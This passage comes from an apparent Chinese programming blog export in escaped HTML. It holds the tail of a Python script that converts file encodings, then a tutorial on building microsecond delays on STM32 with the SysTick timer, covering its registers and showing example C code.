class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.c\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.cpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.hpp\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.bat\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.java\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e convert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e cur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e#explore(os.getcwd())\u003c/span\u003e filePath \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003einput\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请输入要转换编码的文件夹路径: \\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\\r\\n===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;fileName\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;fileEncoding\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;===============================================================\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n---------错误统计------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e index\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e item \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eitem\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n共%d个错误!\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请检查错误文件手动修改编码\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n-----------------------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e main\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#STM32%E4%BD%BF%E7%94%A8SysTick%E5%AE%9A%E6%97%B6%E5%99%A8%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近在学习Stm32 HAL库相关教程\u003cdel\u003e(之前都是xjb缝合,缺少点原理的理解\u003c/del\u003e,在看到TM1640(一个可以方便在数码管上显示内容的模块)驱动编写的过程需要用到us 级别的延时,而HAL 库的 \u003ccode\u003eHal_Dealy()\u003c/code\u003e 的函数是ms 级别的,所以需要自己手动编写一个更精准的延时函数。看教程里几行不知所云,在搜索过程中大概了解到了几种写发,但是感觉比较优雅的是使用 \u003cstrong\u003eSysTick定时器\u003c/strong\u003e 进行延时。但是几篇教程在原理处比较简略,所以根据个人理解学习了一下。\u003c/p\u003e\u003ch2 id=\"参考目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%8F%82%E8%80%83%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"参考目录\"\u003e\u003c/a\u003e参考目录\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e《ARM Cortex-M3 权威指南》第3版\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Fireflycjd/p/14304902.html\"\u003eSTM32延时函数的四种方法 - Fireflycjd - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/xuqu607/p/13737040.html\"\u003eSTM32的SysTick延时方法 - 代码争霸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Leisure_ksj/article/details/105273110\"\u003eSTM32学习心得九:Systick滴答定时器和延时函数解读_天亮继续睡的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/haha690/article/details/111053367\"\u003estm32的systick(滴答定时器)实现精准延时_haha690的博客-CSDN博客_stm32精准定时\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://weibo01.blog.csdn.net/article/details/81136564\"\u003eSTM32延时函数的四种方法:普通延时(2种)、SysTick 定时器延时(2种)_魏波-的博客-CSDN博客_delayms延时函数用法\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://waka-can.blog.csdn.net/article/details/106527001?spm=1001.2014.3001.5506\"\u003e关于STM32单片机延时微妙(delay_us)函数-hal库_好奇龙猫的博客-CSDN博客_delay_us\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Firefly_cjd/article/details/106709259?spm=1001.2014.3001.5506\"\u003eSTM32延时函数的四种方法_strongercjd的博客-CSDN博客_stm32延时函数\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://shequ.stmicroelectronics.cn/forum.php?mod=viewthread\u0026amp;tid=628767\"\u003eSTM32高精度延时实验 (stmicroelectronics.cn)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"几种延时方法\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%87%A0%E7%A7%8D%E5%BB%B6%E6%97%B6%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"几种延时方法\"\u003e\u003c/a\u003e几种延时方法\u003c/h2\u003e\u003cp\u003e第一种比较粗暴,就是让单片机做一些无关紧要的工作来打发时间,比如写点循环;\u003c/p\u003e\u003cp\u003e第二种是用汇编指令,和第一种大同小异;\u003c/p\u003e\u003cp\u003e第三种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e中断\u003c/strong\u003e 的方式;\u003c/p\u003e\u003cp\u003e第四种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e查询\u003c/strong\u003e 的方式,也就是 \u003cstrong\u003e本次使用的方法\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e……(前三种可以在参考目录找到具体实现\u003c/p\u003e\u003ch2 id=\"SysTick-定时器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"SysTick 定时器\"\u003e\u003c/a\u003eSysTick 定时器\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e详细资料可以阅读 《ARM Cortex-M3 权威指南》第3版 9.5 SysTick 定时器。\u003c/p\u003e\u003cp\u003eSysTick 定时器是 Cortex-M 处理器内部集成的一个小型定时器,属于NVIC 的一部分,可以产生SysTick 异常。SysTick 为简单的向下计数的24位计数器,可以使用处理器时钟或者外部时钟。\u003c/p\u003e\u003cp\u003eSysTick 定时器可用作简单的定时器外设,用以产生周期性中断,延时或时间测量。\u003c/p\u003e\u003ch3 id=\"SyTick-定时器的寄存器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SyTick-%E5%AE%9A%E6%97%B6%E5%99%A8%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"SyTick 定时器的寄存器\"\u003e\u003c/a\u003eSyTick 定时器的寄存器\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e地址\u003c/th\u003e\u003cth\u003eCMSIS-Core 符号\u003c/th\u003e\u003cth\u003e寄存器\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0xE000E010\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 控制和状态寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E014\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 重装值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E018\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 当前值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E01C\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 校准值寄存器\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-控制和状态寄存器(SysTick-gt-CTRL)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E6%8E%A7%E5%88%B6%E5%92%8C%E7%8A%B6%E6%80%81%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CTRL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 控制和状态寄存器(SysTick -\u0026gt; CTRL)\"\u003e\u003c/a\u003eSysTick 控制和状态寄存器(\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位段\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e16\u003c/td\u003e\u003ctd\u003eCOUNTFLAG\u003c/td\u003e\u003ctd\u003eRO\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e当SYSTICK 定时器计数到0时,该位变成1,读取寄存器或清除计数器当前值会被清零\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eCLKSOURCE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0 = 外部参考时钟(STCLK);\u003cbr/\u003e1 = 使用内核时钟\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eTOCKINT\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e1 = SYSTICK 定时器计数减至0时产生异常 \u003cbr/\u003e0 = 不产生异常\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eENABLE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eSYSTICK 定时器使能\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-重装值寄存器(SysTick-gt-LOAD)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E9%87%8D%E8%A3%85%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-LOAD%EF%BC%89\" class=\"headerlink\" title=\"SysTick 重装值寄存器(SysTick -\u0026gt; LOAD)\"\u003e\u003c/a\u003eSysTick 重装值寄存器(\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eRELOAD\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e未定义\u003c/td\u003e\u003ctd\u003e定时器为0时的重装载值\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-当前值寄存器(SysTick-gt-VAL)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E5%BD%93%E5%89%8D%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-VAL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 当前值寄存器(SysTick -\u0026gt; VAL)\"\u003e\u003c/a\u003eSysTick 当前值寄存器(\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类信\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eCURRENT\u003c/td\u003e\u003ctd\u003eR/Wc\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e读出值位SYSTICK 定时器的当前数值。写入任何值都会清除寄存器,SYSTICK 控制和状态寄存器中的 COUNTFLAG 也会清零\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-校准值寄存器(SysTick-gt-CALIB)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E6%A0%A1%E5%87%86%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CALIB%EF%BC%89\" class=\"headerlink\" title=\"SysTick 校准值寄存器(SysTick -\u0026gt; CALIB)\"\u003e\u003c/a\u003eSysTick 校准值寄存器(\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e31\u003c/td\u003e\u003ctd\u003eNOREF\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1 = 没有外部参考时钟(STCLK 不可用)\u003cbr/\u003e0 = 有外部参考时钟可供使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e30\u003c/td\u003e\u003ctd\u003eSKEW\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1= 校准值并非精准的 10ms\u003cbr/\u003e0 = 校准值准确\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eTENMS\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e10毫秒校准值。芯片设计者应通过 Cortex-M3 的输入信号提供该数值,若读出为0,则表示校准值不可用。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"使用-SysTick-定时器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%BD%BF%E7%94%A8-SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"使用 SysTick 定时器\"\u003e\u003c/a\u003e使用 SysTick 定时器\u003c/h3\u003e\u003ch4 id=\"主要流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%B8%BB%E8%A6%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"主要流程\"\u003e\u003c/a\u003e主要流程\u003c/h4\u003e\u003cp\u003e本次使用查询的方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e将0写入 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 禁止 SysTick 定时器,防止之前 SysTick 定时器在之前被使能过;\u003c/li\u003e\u003cli\u003e将新的重加载值写入 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,重加载值应为周期数减1(因为是倒数到0);\u003c/li\u003e\u003cli\u003e将任何数值写入 SysTick 当前值寄存器 \u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e ,该寄存器会被清零;\u003c/li\u003e\u003cli\u003e写入 SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 启动寄存器\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"延时原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%BB%B6%E6%97%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"延时原理\"\u003e\u003c/a\u003e延时原理\u003c/h4\u003e\u003cp\u003e利用SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 中的 \u003cstrong\u003e计数标志位\u003c/strong\u003e 来确定定时器合适变为0.可以设置 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e 的值,然后等待计数标志位变为0,以此实现延时。\u003c/p\u003e\u003cp\u003e示例代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置计数周期为256 (255~0)\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e LOAD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0XFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 清零当前值寄存器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e VAL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5 = b\u0026#39;101\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位0 = 1 为使能SYSTICK定时器\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位2 = 1 表示使用内核时钟\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 0x00010000 = 1\u0026lt;\u0026lt;16\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 通过查询 SysTick -\u0026gt; CTRL 第16位标志位判断计数器是否计数到0\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x00010000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 